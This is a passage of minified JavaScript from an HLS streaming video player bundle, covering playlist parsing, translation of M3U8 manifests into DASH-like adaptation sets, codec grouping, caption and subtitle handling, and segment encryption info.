"+u._groupId,u._bandwidth=null!==(s=null!==(o=n["AVERAGE-BANDWIDTH"])&&void 0!==o?o:n.BANDWIDTH)&&void 0!==s?s:0,u.BaseURL=[{url:f.PlaylistUtils.getBaseUrl(r,n.URI||n.uri)}],u},n.prototype.extendToSubtitleRepresentation=function(n,t,i,r){var u=t;return u._id=n.NAME,u._mimeType="application/"+i,u._codecs="wvtt",u._name=n.NAME||"",u.BaseURL=[{url:f.PlaylistUtils.getBaseUrl(r,n.URI)}],u._hls.isForced="YES"===n.FORCED,u},n.prototype.getLabelForRepresentation=function(n){var t={id:n._id,mimeType:n._mimeType,width:n._width,height:n._height,bitrate:n._bandwidth};return e.applyLabeling({source:this.sourceContext.source,logger:this.context.logger,streamType:s.StreamType.Hls,labelingType:e.LabelingType.Qualities},t)},n}();t.M3u8RepresentationFactory=h},52729:function(n,t,i){"use strict";function f(n,t){var i=n.segments.map(function(n){return e(n,t)});return{qualityInfo:{lastUpdateTimestamp:Date.now()},segmentInfos:i}}function e(n,t){var r,i={url:n.uri,isInitSegment:!1,internalRepresentationId:t._internalId,isDiscontinuityStart:n.discontinuity,discontinuitySequenceNumber:n.discontinuitySequenceNumber,duration:n.duration,startTime:n.startTime,periodId:t._internalId.periodId,key:n.key,metadata:null!==(r=n.metadata)&&void 0!==r?r:[],mimeType:t._mimeType,bitrate:t._bandwidth,codecs:t._codecs};return n.byterange&&(i.byteRange={start:n.byterange.offset,end:n.byterange.offset+n.byterange.length}),n.init&&(i.init=n.init),n.dateTime&&(i.dateTime=n.dateTime),o.isVideoRepresentation(t)&&(i.height=t._height,i.width=t._width,i.frameRate=t._frameRate),i.segmentId=s.generateSegmentId(i),i}var r=this&&this.__assign||function(){return r=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},r.apply(this,arguments)},u=this&&this.__spreadArray||function(n,t,i){if(i||2===arguments.length)for(var u,r=0,f=t.length;r<f;r++)!u&&r in t||(u||(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return n.concat(u||Array.prototype.slice.call(t))};Object.defineProperty(t,"__esModule",{value:!0});t.updateMapEntry=t.createNewMapEntry=void 0;var o=i(70016),s=i(28915),h=i(52080);t.createNewMapEntry=f;t.updateMapEntry=function(n,t,i){var o=n.segmentInfos,s=o.findIndex(function(n){return function(n,t){var i=n.url===t.uri,r=n.discontinuitySequenceNumber===t.discontinuitySequenceNumber,u=!n.byteRange&&!t.byterange,f=n.byteRange&&t.byterange&&n.byteRange.start===t.byterange.offset&&n.byteRange.end===t.byterange.offset+t.byterange.length;return i&&r&&(f||u)}(n,t.segments[0])}),v,c,l,a;return-1===s?f(t,i):(v=o.length-s,c=t.segments.length-v,0!==s||0!==c)?(l=t.segments.slice(-c).map(function(n){return e(n,i)}),a=function(n){var t=n[n.length-1];if(void 0!==t.startTime&&void 0!==t.duration)return t.startTime+t.duration}(o),null!=a&&h.forwardExtrapolateSegmentStartTime(l,{index:0,startTime:a}),{qualityInfo:r(r({},n.qualityInfo),{lastUpdateTimestamp:Date.now()}),segmentInfos:u(u([],o.slice(s),!0),l,!0)}):n}},49422:function(n,t,i){"use strict";function v(n,t,i){var r={};return r[p.MimeType.VideoMp4]=u.URLHelper.getAbsoluteUrl(n.uri,i),n.attributes.AUDIO&&function(n,t,i){return n.filter(function(n){return a(n.attributes)&&n.attributes["GROUP-ID"]===t&&n.attributes.URI}).map(function(n){var t;return{id:n.attributes.NAME,url:u.URLHelper.getAbsoluteUrl(null!==(t=n.attributes.URI)&&void 0!==t?t:"",i)}})}(t,n.attributes.AUDIO,i).forEach(function(n){r[n.id]=n.url}),r}function a(n){return"AUDIO"===n.TYPE}var e=this&&this.__assign||function(){return e=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},e.apply(this,arguments)};Object.defineProperty(t,"__esModule",{value:!0});t.HlsParsing=t.M3u8Translator=void 0;var l,o=i(52442),r=i(42283),y=i(10676),p=i(79814),u=i(76885),s=i(91520),h=i(16368),c=i(73543),f=i(67883),w=i(83740),b=i(73471),k=i(53950),d=new RegExp(/^data:text\/plain.*;base64.*,(.+)/),g=function(){function n(n,t){this.adaptationsetId=0;this.assumeAudioMuxedIntoVideoTs=!1;this.memoizedParseBase64DataUrl=y.memoize(function(n){var t=d.exec(n);return null!==t&&2===t.length?t[1]:null});this.context=n;this.sourceContext=t;this.representationFactory=new b.M3u8RepresentationFactory(n,t)}return n.prototype.updateBaseUrl=function(n){this.baseURL=u.URLHelper.removeLastPathPart(n)},n.prototype.createCeaCaptionObjects=function(n,t){for(var r,f={},u={_schemeIdUri:"urn:scte:dash:cc:cea-"+t+":2015",_value:""},i=0;i<n.length;i++)r=n[i]["INSTREAM-ID"],f[r]={lang:n[i].LANGUAGE||n[i].NAME||r,label:n[i].NAME||n[i].LANGUAGE||r},u._value.length>0&&(u._value+=";"),u._value+="708"===t?r.substr(7)+"=lang:":r+"=",u._value+=n[i].LANGUAGE;return{closedCaptionLabel:f,accessibility:u}},n.prototype.createCaptionElements=function(n){if(!n)return{closedCaptionLabel:null,accessibility:[]};var t=this.createCeaCaptionObjects(n.cea608,"608"),r=this.createCeaCaptionObjects(n.cea708,"708"),i=[],u=null;return t.accessibility._value&&(i.push(t.accessibility),u=t.closedCaptionLabel),r.accessibility._value&&i.push(r.accessibility),{closedCaptionLabel:u,accessibility:i}},n.prototype.createAdaptationSetWithUnknownCodecs=function(n,t){var i=this.adaptationsetId.toString(),r={_id:i,_mimeType:"unknown",_internalId:new f.AdaptationSetId(t,i),Representation:[{Uri:u.URLHelper.concatBaseUrlWithPartial(this.baseURL,n.uri),BaseURL:[{url:k.PlaylistUtils.getBaseUrl(this.baseURL,n.uri)}],_bandwidth:Number(n.attributes["AVERAGE-BANDWIDTH"]||n.attributes.BANDWIDTH),_id:i}],isTransmuxingRequired:!0};return this.adaptationsetId++,r},n.prototype.createVideoAdaptationSet=function(n,t,i,r,u){for(var d,e,s,h,c,l=[],a=1/0,v=0,y=1/0,p=0,w=1/0,b=0,nt="video/"+r,k=0,g=n;k<g.length;k++)d=g[k],d.uri&&(e=this.representationFactory.create(d,o.RepresentationType.VIDEO,r,this.baseURL,this.assumeAudioMuxedIntoVideoTs),l.push(e),a=Math.min(a,e._height),v=Math.max(v,e._height),y=Math.min(y,e._width),p=Math.max(p,e._width),w=Math.min(w,e._bandwidth),b=Math.max(b,e._bandwidth));return l.sort(function(n,t){return n._bandwidth-t._bandwidth}),s={Representation:l,ContentComponent:[{_id:"video",_contentType:"video"}],_id:String(this.adaptationsetId),_group:null,_mimeType:nt,_internalId:new f.AdaptationSetId(i,String(this.adaptationsetId++)),_minBandwidth:w,_maxBandwidth:b,_minHeight:a,_maxHeight:v,_minWidth:y,_maxWidth:p,isTransmuxingRequired:!0},u&&Object.keys(u).forEach(function(n){u[n].entries.filter(function(n){return!n.URI}).forEach(function(n){s.ContentComponent.push({_id:n.NAME,_contentType:"audio",_lang:n.LANGUAGE})})}),h=this.createCaptionElements(t),h.closedCaptionLabel&&(s.ClosedCaptionLabels=h.closedCaptionLabel),h.accessibility.length>0&&(s.Accessibility=h.accessibility),c=this.getLabelForAdaptationSet(s),c&&"string"==typeof c&&(s._label=c),s},n.prototype.createAudioAdaptationSet=function(n,t,i,r){for(var l,v,u,e,s,h=[],c=0,a=n;c<a.length;c++)l=a[c],l.uri&&(v=this.representationFactory.create(l,o.RepresentationType.AUDIO,r,this.baseURL,this.assumeAudioMuxedIntoVideoTs),h.push(v));return h.sort(function(n,t){return n._bandwidth-t._bandwidth}),u={Representation:h,_id:String(this.adaptationsetId),_group:null,_mimeType:"audio/"+r,_internalId:new f.AdaptationSetId(i,String(this.adaptationsetId++)),_minBandwidth:1/0,_maxBandwidth:0,isTransmuxingRequired:!0},e=this.createCaptionElements(t),e.closedCaptionLabel&&(u.ClosedCaptionLabels=e.closedCaptionLabel),e.accessibility.length>0&&(u.Accessibility=e.accessibility),s=this.getLabelForAdaptationSet(u),s&&"string"==typeof s&&(u._label=s),u},n.prototype.createAudioAdaptationSets=function(n,t,i){var r=this,u=this.context.settings.IGNORE_HLS_AUDIO_GROUPS,h=0,e=[],s=function(t){return{Representation:[],_id:String(r.adaptationsetId),_internalId:new f.AdaptationSetId(n,String(r.adaptationsetId++)),_mimeType:"audio/"+i,_minBandwidth:1/0,_maxBandwidth:-1,_lang:t,_group:String(h++),isTransmuxingRequired:!0}};return Object.keys(t).forEach(function(n){var a,v,f,b=t[n],k=b.entries.find(function(n){return n.LANGUAGE&&"und"!==n.LANGUAGE}),p,h,c,l;k&&(v=k.LANGUAGE);u||(f=s(v));for(var g=w.uniqueRenditions(b.entries.filter(function(n){return n.URI})),y=0,d=g;y<d.length;y++)p=d[y],u&&(f=s(v)),h=r.representationFactory.create(p,o.RepresentationType.AUDIO,i,r.baseURL,r.assumeAudioMuxedIntoVideoTs),f.Representation.push(h),f._minBandwidth=Math.min(f._minBandwidth,h._bandwidth),f._maxBandwidth=Math.max(f._maxBandwidth,h._bandwidth),c=p.CHARACTERISTICS,(c&&0===c.indexOf(r.context.settings.HLS_VR_CHARACTERISTICS_UTI)&&(f.Role=[{_schemeIdUri:r.context.settings.VR_SCHEME_ID_URI,_value:c.substring(r.context.settings.HLS_VR_CHARACTERISTICS_UTI.length)}]),f._label)||(l=r.getLabelForAdaptationSet(f),f._label=l&&"string"==typeof l?l:h._name?h._name:n),u&&f.Representation.length>0&&e.push(f),f.Representation.sort(function(n,t){return n._bandwidth-t._bandwidth});(function(n){n.forEach(function(n,t){n._bandwidth=128e3+32e3*t})})(null!==(a=null==f?void 0:f.Representation)&&void 0!==a?a:[]);!u&&f.Representation.length>0&&e.push(f)}),e},n.prototype.createSubtitleAdaptationSets=function(n,t,i){var r=this,u=0;return Object.values(t).filter(function(n){return n.URI}).map(function(t){var e={Representation:[],_id:String(r.adaptationsetId),_internalId:new f.AdaptationSetId(n,String(r.adaptationsetId++)),_mimeType:"application/mp4",_lang:t.LANGUAGE,_group:""+u++,_isFragmented:!0},h=r.representationFactory.create(t,o.RepresentationType.SUBTITLE,i,r.baseURL,r.assumeAudioMuxedIntoVideoTs),s;return e.Representation.push(h),s=r.getLabelForAdaptationSet(e),e._label=s&&"string"==typeof s?s:h._name?h._name:t.LANGUAGE,e})},n.prototype.getLabelForAdaptationSet=function(n){var t={mimeType:n._mimeType,lang:n._lang};return n._label&&(t.label=n._label),this.getLabelingFunctionForAdaptationSet()(t)},n.prototype.getLabelingFunctionForAdaptationSet=function(){var t=this.context.sourceContext,n=t&&t.source&&t.source.labeling;return n&&n.hls&&n.hls.tracks?"function"!=typeof n.hls.tracks?this.getDefaultLabelForAdaptationSet:n.hls.tracks:this.getDefaultLabelForAdaptationSet},n.prototype.getDefaultLabelForAdaptationSet=function(){return null},n.prototype.extractBackupStreams=function(n){for(var t,e,i,o,s=[],h=null!==(o=this.baseURL)&&void 0!==o?o:"",r=n.playlists,f=0;f<r.length;f++){for(t=r[f],e=[],e.push(v(t,n.media,h)),i=f+1;i<r.length;i++){var u=r[i],l=t.attributes.BANDWIDTH===u.attributes.BANDWIDTH,c=t.attributes.RESOLUTION&&u.attributes.RESOLUTION,a=!c||c&&t.attributes.RESOLUTION.height===u.attributes.RESOLUTION.height&&t.attributes.RESOLUTION.width===u.attributes.RESOLUTION.width;l&&a&&(this.context.settings.DISABLE_HLS_BACKUP_STREAM_FAILOVER||e.push(v(u,n.media,h)),r.splice(i,1),i--)}s.push(e)}return s},n.prototype.createDashManifestSkeleton=function(n){var t=n;return this.extractCodecInformation(t),this.playlistPreprocessing(t),this.assumeAudioMuxedIntoVideoTs=this.canAssumeAudioMuxedIntoVideo(t),{BaseURL:[{url:this.baseURL}],Period:[this.createPeriod(t,"0")],_hasIndependentSegments:n.independentSegments,_isHls:!0,isInitialized:!1}},n.prototype.extractCodecInformation=function(n){var t=this;n.playlists.forEach(function(n){var i,u;n.attributes.CODECS&&(i=r.CodecStringHelper.getExtractedCodecStrings(n.attributes.CODECS),!i.video&&i.unknown&&(n.attributes.RESOLUTION||n.attributes["FRAME-RATE"])&&(u=r.CodecStringHelper.extractCodec(i.unknown),t.context.logger.debug("Assuming unknown codec ".concat(u," is video")),r.CodecStringHelper.addCodec("video",u)))})},n.prototype.isVariantOfMimeType=function(n,t){return r.CodecStringHelper.getMimeTypeForCodecString(n.attributes.CODECS)===t},n.prototype.removeUnsupportedAudioOnlyVariants=function(n){var t=this,i=n.playlists.some(function(n){return t.isVariantOfMimeType(n,"video")}),r=n.playlists.some(function(n){return t.isVariantOfMimeType(n,"audio")});i&&r&&(n.playlists=n.playlists.filter(function(n){return t.isVariantOfMimeType(n,"video")}))},n.prototype.playlistPreprocessing=function(n){this.removeUnsupportedAudioOnlyVariants(n)},n.prototype.getVideoCodecForPlaylist=function(n,t){void 0===t&&(t=!1);var i=r.CodecStringHelper.getExtractedCodecStrings(n.attributes.CODECS);return i.video?(r.CodecStringHelper.hasOldAvc1CodecFormat(i.video)&&(i.video=r.CodecStringHelper.convertAvc1ToAvcotiCodecFormat(i.video)),t?i.video:i.video.split(".")[0]):null},n.prototype.getAudioCodecForPlaylist=function(n,t){void 0===t&&(t=!1);var i=r.CodecStringHelper.getExtractedCodecStrings(n.attributes.CODECS);return i.audio?t?i.audio:i.audio.split(".")[0]:null},n.prototype.getAllVideoCodecs=function(n){var t=this;return n.map(function(n){return t.getVideoCodecForPlaylist(n)}).filter(function(n,t,i){return n&&i.indexOf(n)===t})},n.prototype.getAllAudioCodecs=function(n){var t=this;return n.map(function(n){return t.getAudioCodecForPlaylist(n)}).filter(function(n,t,i){return n&&i.indexOf(n)===t})},n.prototype.groupPlaylistsByCodec=function(n){var t=this.getAllVideoCodecs(n),u=this.getAllAudioCodecs(n),i,r;return 0===t.length&&0===u.length?{unknown:n}:0===t.length?(i={},u.forEach(function(t){i[t]=n.filter(function(n){var i;if(null!==(i=n.attributes.CODECS)&&void 0!==i)return i.includes(t)})}),i):(r={},t.forEach(function(t){r[t]=n.filter(function(n){var i;if(null!==(i=n.attributes.CODECS)&&void 0!==i)return i.includes(t)})}),r)},n.prototype.createPeriod=function(t,i){var f=this,u={_id:i,_duration:"PT0S",duration:0,AdaptationSet:[]},e=l.extractMediaRenditions(t,this.context.settings.IGNORE_HLS_AUDIO_GROUPS,function(n){if(null!=n.attributes.CODECS){var t=function(n){return n.split(",").map(function(n){return r.CodecStringHelper.hasOldAvc1CodecFormat(n)?r.CodecStringHelper.convertAvc1ToAvcotiCodecFormat(n):n}).join(",")}(n.attributes.CODECS);return void 0!==r.CodecStringHelper.getExtractedCodecStrings(t).video}return!0}),o=this.groupPlaylistsByCodec(t.playlists),a=Object.keys(o),v=a.filter(function(n){return r.CodecStringHelper.isVideoCodec(n)}).map(function(n){return f.createVideoAdaptationSet(o[n],e.captions,u._id,c.ContainerFormat.MP4,e.audio)}).filter(function(t){return t.Representation=t.Representation.reduce(function(t,i){var r=n.isRepresentationSupported(i,f.context.renderer),u=Boolean(t.find(function(n){return n.Uri===i.Uri}));return r&&!u&&t.push(i),t},[]),t.Representation.length>0}),y=a.filter(function(n){return"unknown"===n}).flatMap(function(n){return o[n]}).map(function(n){return f.createAdaptationSetWithUnknownCodecs(n,u._id)}),p=this.createAudioAdaptationSets(u._id,e.audio,c.ContainerFormat.MP4).filter(function(t){return t.Representation=t.Representation.filter(function(t){return n.isRepresentationSupported(t,f.context.renderer)}),t.Representation.length>0}).concat(a.filter(function(n){return r.CodecStringHelper.isAudioCodec(n)}).map(function(n){return f.createAudioAdaptationSet(o[n],e.captions,u._id,c.ContainerFormat.MP4)})),w=this.createSubtitleAdaptationSets(u._id,e.subtitles,c.ContainerFormat.MP4);return u.AdaptationSet=[].concat(v,p,w,y),s.ModuleManager.has(h.ModuleName.Thumbnail)&&(u.AdaptationSet=s.ModuleManager.get(h.ModuleName.Thumbnail).extendAdaptationSets(u.AdaptationSet,t,this.baseURL)),u},n.isRepresentationSupported=function(n,t){var u=!n._mimeType.includes("audio")&&!n._mimeType.includes("video"),i;return!n._codecs||u?!0:(i=r.CodecStringHelper.getExtractedCodecStrings(n._codecs),Object.keys(i).every(function(n){return r.CodecStringHelper.isSupportedByRenderer(t,n+"/mp4",i[n])}))},n.prototype.canAssumeAudioMuxedIntoVideo=function(n){var t=n.media.filter(function(n){return a(n.attributes)});return!t.length||t.some(function(n){return!n.attributes.URI})},n.prototype.getSegmentEncryptionInfoUsingMediaSequence=function(n,t,i,r){var f,o=new ArrayBuffer(16);return void 0!==(null===(f=n._hls)||void 0===f?void 0:f.mediaSequence)&&new DataView(o).setInt32(12,n._hls.mediaSequence+t),n.BaseURL&&n.BaseURL.length>0&&n.BaseURL[0].url?e(e({iv:o},r),{uri:u.URLHelper.buildAbsoluteUrl(n.BaseURL[0].url,i,r.uri)}):null},n.prototype.parseSegmentEncryptionInfo=function(n,t,i,r,u){for(var f,e=null,c=function(n){null!==s.memoizedParseBase64DataUrl(n.uri)?(void 0!==t.find(function(t){return!Object.keys(n).some(function(i){return n[i]!==t[i]})})||t.push(n),t.length>0&&(e=null)):e=s.getSegmentEncryptionInfoUsingMediaSequence(i,u,r,n)},s=this,o=0,h=null!==(f=n.keys)&&void 0!==f?f:[];o<h.length;o++)c(h[o]);return e},n.prototype.translateSegmentList=function(n,t){var f=[],e=[],i="";n.BaseURL&&n.BaseURL[0]&&n.BaseURL[0].url&&(i=u.extractOrigin(n.BaseURL[0].url));this.memoizedParseBase64DataUrl.invalidate();for(var o=function(r){var o=t[r],c,h;n.BaseURL&&n.BaseURL[0]&&n.BaseURL[0].url&&(o.uri=u.URLHelper.buildAbsoluteUrl(n.BaseURL[0].url,i,o.uri));c=s.parseSegmentEncryptionInfo(o,e,n,i,r);o.init&&(o.init.url=u.URLHelper.buildAbsoluteUrl(n.BaseURL[0].url,i,o.init.url),c&&(o.init.key=c));h={_media:o.uri,_duration:o.duration,_key:c,_metadata:[],_init:o.init,_discontinuitySequenceNumber:o.discontinuitySequenceNumber};["cueTag","scte35","customTags"].filter(function(n){return o.hasOwnProperty(n)}).forEach(function(n){return h._metadata=h._metadata.concat(o[n])});o.dateTime&&(h._dateTime=o.dateTime);o.byterange&&(h._byteRange={start:o.byterange.offset,end:o.byterange.offset+o.byterange.length-1});f.push(h)},s=this,r=0;r<t.length;r++)o(r);return{entries:f,contentProtectionInfos:this.parseAllContentProtection(e)}},n.prototype.parseAllContentProtection=function(n){var t=this,i=[];return n.forEach(function(n){var r=function(n,t){return s.ModuleManager.has(h.ModuleName.DRM)?s.ModuleManager.get(h.ModuleName.DRM).ContentProtectionHelper.parseContentProtection(n,t):null}(n,t.memoizedParseBase64DataUrl(n.uri));r?i.push(r):t.context.logger.debug("Encountered unknown/unsupported DRM scheme:",n.keyformat)}),i},n.prototype.dispose=function(){this.baseURL=null;this.memoizedParseBase64DataUrl.invalidate()},n}();t.M3u8Translator=g,function(n){function i(n,t){var i={};return n.forEach(function(n){var o=t[n["GROUP-ID"]]||t[Object.keys(t)[0]],f,e,u,s;n["AVERAGE-BANDWIDTH"]=o[0]["AVERAGE-BANDWIDTH"];n.BANDWIDTH=o[0].BANDWIDTH;n.CODECS=o[0].CODECS;f=n["AVERAGE-BANDWIDTH"]||n.BANDWIDTH;e=Object.keys(i).find(function(t){var f,e,u=i[t].entries[0];return(null==u?void 0:u.NAME)===n.NAME&&r.CodecStringHelper.canSwitchBetweenAudioCodecs(null!==(f=null==u?void 0:u.CODECS)&&void 0!==f?f:"",null!==(e=n.CODECS)&&void 0!==e?e:"")});e&&i[e]?(u=i[e],u.entries.push(n),u.MIN_BANDWIDTH=Math.min(u.MIN_BANDWIDTH,f),u.MAX_BANDWIDTH=Math.max(u.MAX_BANDWIDTH,f)):(s=n.CODECS?"".concat(n.NAME," (").concat(n.CODECS,")"):n.NAME,i[s]={entries:[n],MIN_BANDWIDTH:f,MAX_BANDWIDTH:f})}),i}function u(n){var t={};return n.forEach(function(n){return t[n.NAME]=n}),t}function f(n){var t={cea608:[],cea708:[]};return n.forEach(function(n){n["INSTREAM-ID"]&&0===n["INSTREAM-ID"].indexOf("CC")?t.cea608.push(n):n["INSTREAM-ID"]&&0===n["INSTREAM-ID"].indexOf("SERVICE")&&t.cea708.push(n)}),t}function e(n){var t={};return n.forEach(function(n){var i=n.attributes.AUDIO,u;t[i]||(t[i]=[]);u={"AVERAGE-BANDWIDTH":n.attributes["AVERAGE-BANDWIDTH"],BANDWIDTH:n.attributes.BANDWIDTH,CODECS:void 0};n.attributes.CODECS&&n.attributes.CODECS.indexOf(",")>-1&&(u.CODECS=function(n){return n.attributes.CODECS.split(",").find(function(n){return r.CodecStringHelper.isAudioCodec(n)})}(n));t[i].push(u)}),t}function t(n){var t=e(n);return function(n){Object.values(n).forEach(function(n){n.sort(function(n,t){return n.BANDWIDTH-t.BANDWIDTH})})}(t),t}n.extractMediaRenditions=function(n,r,e){var h=n.playlists.filter(e),o=n.media.map(function(n){return n.attributes}),s=t(h),c=o.filter(function(n){var t=s[n["GROUP-ID"]];return a(n)&&(r||t)}),l=o.filter(function(n){return"SUBTITLES"===n.TYPE}),v=o.filter(function(n){return"CLOSED-CAPTIONS"===n.TYPE});return{audio:i(c,s),subtitles:u(l),captions:f(v)}};n.getPropertiesForAudioGroups=t}(l||(t.HlsParsing=l={}))},32352:function(n,t){"use strict";var i,r;Object.defineProperty(t,"__esModule",{value:!0});t.M3u8Validator=t.M3u8ValidatorError=void 0,function(n){n[n.EmptyPlaylist=1]="EmptyPlaylist"}(i||(t.M3u8ValidatorError=i={}));r=function(){function n(){}return n.checkForError=function(t){for(var u,i=0,r=n.mediaPlaylistRules;i<r.length;i++)if(u=r[i],!u.fn(t))return u.err;return null},n.mediaPlaylistRules=[{fn:function(n){return n.segments.length>0},err:i.EmptyPlaylist}],n}();t.M3u8Validator=r},64732:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.HLSModuleDefinition=void 0;var e=i(3864),f=i(16368),o=i(26527),s=i(33827),h=i(22675),c=i(59692),l=i(53950),u=i(79367),a=i(78148),r=i(34435),v={initSegmentStartTimes:u.initSegmentStartTimes,initSegmentStartTimesFromReferenceSegment:u.initSegmentStartTimesFromReferenceSegment,setPresentationTimeOffset:u.setPresentationTimeOffset,dropSegmentStartTimes:u.dropSegmentStartTimes,setTimestampRolloverPositions:u.setTimestampRolloverPositions},y={getPresentationTimeOffset:r.getPresentationTimeOffset,getHlsState:r.getHlsState,getPlaylistType:r.getPlaylistType,getEndlist:r.getEndlist,getDefaultLanguages:r.getDefaultLanguages,getCustomTags:r.getCustomTags,hasPlaylist:r.hasPlaylist,getPlaylistStartTime:r.getPlaylistStartTime,getPlaylistSegments:r.getPlaylistSegments,getDiscoSequenceTiming:r.getDiscoSequenceTiming,getDiscoSequenceTimings:r.getDiscoSequenceTimings,getFirstDiscoSequenceTiming:r.getFirstDiscoSequenceTiming,hasSegmentStartTimesForPlaylist:r.hasSegmentStartTimesForPlaylist,getStartTimeForSegment:r.getStartTimeForSegment,hasInitializedSegmentStartTimes:r.hasInitializedSegmentStartTimes};t.HLSModuleDefinition={name:f.ModuleName.HLS,module:function(){return{HlsTimelineTracker:s.HlsTimelineTracker,M3u8Loader:h.M3u8Loader,HlsUtils:e.HlsUtils,parsePlaylist:c.parsePlaylist,PlaylistUtils:l.PlaylistUtils,DiscontinuitySequenceNumberTracker:o.DiscontinuitySequenceNumberTracker,HlsReducer:a.HlsReducer,actions:v,selectors:y}},dependencies:[f.ModuleName.EngineBitmovin]};t.default=t.HLSModuleDefinition},53950:function(n,t,i){"use strict";function s(n,t){var i=h.compareValues(n.byterange,t.byterange);return h.compareValues(n,t,["uri","discontinuitySequenceNumber"])&&i}function f(n,t){return Math.floor(n*Math.pow(10,t))/Math.pow(10,t)}var u=this&&this.__assign||function(){return u=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},u.apply(this,arguments)},o;Object.defineProperty(t,"__esModule",{value:!0});t.calculateUpdateIntervalInSeconds=t.isSameSegmentEntry=t.PlaylistUtils=t.isMediaPlaylist=t.isMasterPlaylist=void 0;var e=i(331),r=i(76885),h=i(45873);t.isMasterPlaylist=function(n){return"playlists"in n};t.isMediaPlaylist=function(n){return!t.isMasterPlaylist(n)};o=function(){function n(){}return n.createDiscontinuitySequences=function(n,t){var u=n.segments.filter(function(n){return n.duration>0}),r=this.getStartingDiscontinuity(n,u,t),i={id:r,segments:[],duration:0},f=[i];return u.forEach(function(n,t){void 0!==n.discontinuity&&(r++,0===t?i.id=r:(i={id:r,duration:0,segments:[]},f.push(i)));n.discontinuitySequenceNumber=r;i.segments.push(n);i.duration+=n.duration}),f},n.getStartingDiscontinuity=function(t,i,r){var u=t.discontinuitySequence;return null==u&&(u=0!==r.length&&n.isLive(t)?this.findCurrentDiscontinuitySequenceNumber(i,r):0),u},n.findCurrentDiscontinuitySequenceNumber=function(n,t){for(var i,r=[],f=0,u=0;u<t.length-1;u++)f+=t[u].segments.length,r.push(f);return i=[],n.forEach(function(n,t){void 0!==n.discontinuity&&i.push(t)}),0===r.length?t[0]?t[0].id:0:0===i.length?t[t.length-1].id:i.length!==r.length?i.length>r.length?t[0].id:t[1].id:this.findFirstPeriodByIndexTracking(r,i,t)},n.findFirstPeriodByIndexTracking=function(n,t,i){var u,f;if(n[0]>t[0])return i[0].id;if(n[0]<t[0]){for(var o=n[0]-t[0],e=0,r=0;r<n.length;r++)n[r]+o<t[0]&&e++;return i[e].id}if(u=function(){return n.every(function(n,i){return n===t[i]})},u())return i[0].id;for(f=1;n.length>0;){for(n.shift(),r=0;r<n.length;r++)n[r]--;if(u())break;f++}return i[f].id},n.extrapolateProgramDateTime=function(n){var i=null,t,r,u,f,o;if(n.find(function(n,t){return n.dateTime&&(i=t),void 0!==n.dateTime}),null!==i){for(t=i-1;t>=0;t--)r=n[t+1].dateTime,u=Math.ceil(e.toMilliSeconds(n[t].duration)),n[t].dateTime=new Date(r.getTime()-u);for(t=i+1;t<n.length;t++)f=n[t-1].dateTime,o=Math.ceil(e.toMilliSeconds(n[t-1].duration)),n[t].dateTime=new Date(f.getTime()+o)}},n.isLive=function(n){return!0!==n.endList},n.getProgramDateTimeFromSegmentUrl=function(n,t){var i,r;return n.indexOf("akamaihd.net")>-1&&(i=n.match(/segment(\d{9})/),i&&2===i.length)?(r=parseInt(i[1])*Math.round(e.toMilliSeconds(t)),new Date(r)):null},n.correctStartOffsetToBounds=function(n,t){return n>0&&n>t?t:n<0&&Math.abs(n)>t?-t:n},n.getImpreciseStartOffsetFromStartOfPlaylist=function(n){for(var i,r=n.start.timeOffset,u=0,t=0;t<n.segments.length&&r-n.segments[t+1].duration>0;t++)i=n.segments[t].duration,r-=i,u+=i;return u},n.getImpreciseStartOffsetFromEndOfPlaylist=function(n){for(var i=Math.abs(n.start.timeOffset),r=0,t=n.segments.length-1;t>=0&&f(i,1)>0;t--)i-=n.segments[t].duration,r+=f(n.segments[t].duration,2);return n.totalDuration-r},n.getImpreciseStartOffset=function(t){return t.start.timeOffset>=0?n.getImpreciseStartOffsetFromStartOfPlaylist(t):n.getImpreciseStartOffsetFromEndOfPlaylist(t)},n.getStartOffsetCloseToPlaylistEnd=function(t,i){var r=t.start.timeOffset;return r=(r=n.correctStartOffsetToBounds(r,t.totalDuration))<0?-f(Math.abs(r),2):f(r,2),Math.max(i,r)},n.getStartOffset=function(t){var i=t.start.timeOffset;return(i=n.correctStartOffsetToBounds(i,t.totalDuration))<0&&(i+=t.totalDuration),t.start.precise||(i=n.getImpreciseStartOffset(t)),Number(i.toFixed(2))},n.addNewSegments=function(n,t,i){var r,u,f;n.length<1&&(null===(u=null===(r=i.SegmentList)||void 0===r?void 0:r[0])||void 0===u?void 0:u.SegmentURL)?(f=i.SegmentList[0].SegmentURL,t.forEach(function(t,i){var r=f[i];r&&(r._key&&(t.key=r._key),r._dateTime&&(t.dateTime=r._dateTime),r._metadata&&(t.metadata=r._metadata),n.push(t))})):this.getSegmentsToAdd(n,t).forEach(function(t){return n.push(t)})},n.getSegmentsToAdd=function(n,t){for(var r,e=n[n.length-1],f=[],i=t.length-1;i>=0&&!s(r=u({},t[i]),e);i--)f.unshift(r);return f},n.removeDroppedOutSegments=function(n,t,i){var o=r.extractOrigin(i),e=u({},t[0]),f;for(e.uri=e.uri=r.URLHelper.buildAbsoluteUrl(i,o,e.uri),f=0;f<n.length&&!s(e,n[f]);f++)n.splice(f,1),f--},n.getBaseUrl=function(n,t){var i=n;return i=r.URLHelper.removeUrlParameters(i),!(t=r.URLHelper.removeLastPathPart(t))||t.indexOf("/")<0?n:r.URLHelper.concatUrlParts(i,t)},n}();t.PlaylistUtils=o;t.isSameSegmentEntry=s;t.calculateUpdateIntervalInSeconds=function(n,t){if(!o.isLive(t))return 1/0;var i=t.segments[t.segments.length-1];return void 0!==i?Math.max(n.MINIMUM_ALLOWED_UPDATE_PERIOD,i.duration):n.MINIMUM_ALLOWED_UPDATE_PERIOD}},52080:function(n,t,i){"use strict";function s(n,t){var r=t.index,u=t.startTime,i;for(n[r].startTime=u,i=r+1;i<n.length;i++)n[i].startTime=n[i-1].startTime+n[i-1].duration}function f(n,t){var r=t.index,u=t.startTime,i;for(n[r].startTime=u,i=r-1;i>=0;i--)n[i].startTime=n[i+1].startTime-n[i].duration}function 